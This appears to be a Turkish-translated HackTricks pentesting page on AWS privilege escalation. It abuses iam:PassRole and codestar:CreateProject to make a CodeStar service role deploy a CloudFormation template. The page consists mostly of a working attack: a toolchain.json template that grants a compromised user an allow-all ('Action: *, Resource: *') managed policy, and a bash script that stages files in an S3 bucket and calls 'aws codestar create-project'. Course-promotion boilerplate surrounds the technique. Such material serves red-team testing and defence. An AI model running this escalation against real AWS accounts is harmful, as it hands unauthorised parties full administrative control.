iam:PassRole, codestar:CreateProject

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Bu izinlerle, bir codestar IAM Rolü'nü kötüye kullanarak bir cloudformation şablonu aracılığıyla keyfi eylemler gerçekleştirebilirsiniz.

Bunu sömürmek için, saldırıya uğrayan hesaptan erişilebilen bir S3 kovası oluşturmanız gerekmektedir. toolchain.json adında bir dosya yükleyin. Bu dosya, cloudformation şablonu saldırısını içermelidir. Aşağıdaki şablon, kontrolünüz altındaki bir kullanıcıya bir yönetilen politika ayarlamak ve onu yönetici izinleriyle donatmak için kullanılabilir:

toolchain.json
{
"Resources": {
"supercodestar": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"ManagedPolicyName": "CodeStar_supercodestar",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
},
"Users": [
"<compromised username>"
]
}
}
}
}

Ayrıca bu boş zip dosyasını bucket'a yükleyin:

Her iki dosyaya da kurban hesabının erişebilmesi gereken bir bucket olduğunu unutmayın.

Her iki dosya da yüklendikten sonra, şimdi saldırıyı gerçekleştirmek için bir codestar projesi oluşturabilirsiniz:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"empty.zip\"
}
},
\"destination\": {
\"codeCommit\": {
\"name\": \"$PROJECT_NAME\"
}
}
}
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
\"source\": {
\"s3\": {
\"bucketName\": \"privesc\",
\"bucketKey\": \"toolchain.json\"
}
},
\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH

Bu saldırı, bu ayrıcalıkların Pacu ayrıcalıklarının temel alınmasıyla gerçekleştirilir: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 Bu bağlantıda, bir kullanıcı yerine bir role yönetilen bir yönetici politikası oluşturmak için bir varyasyon bulabilirsiniz.

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated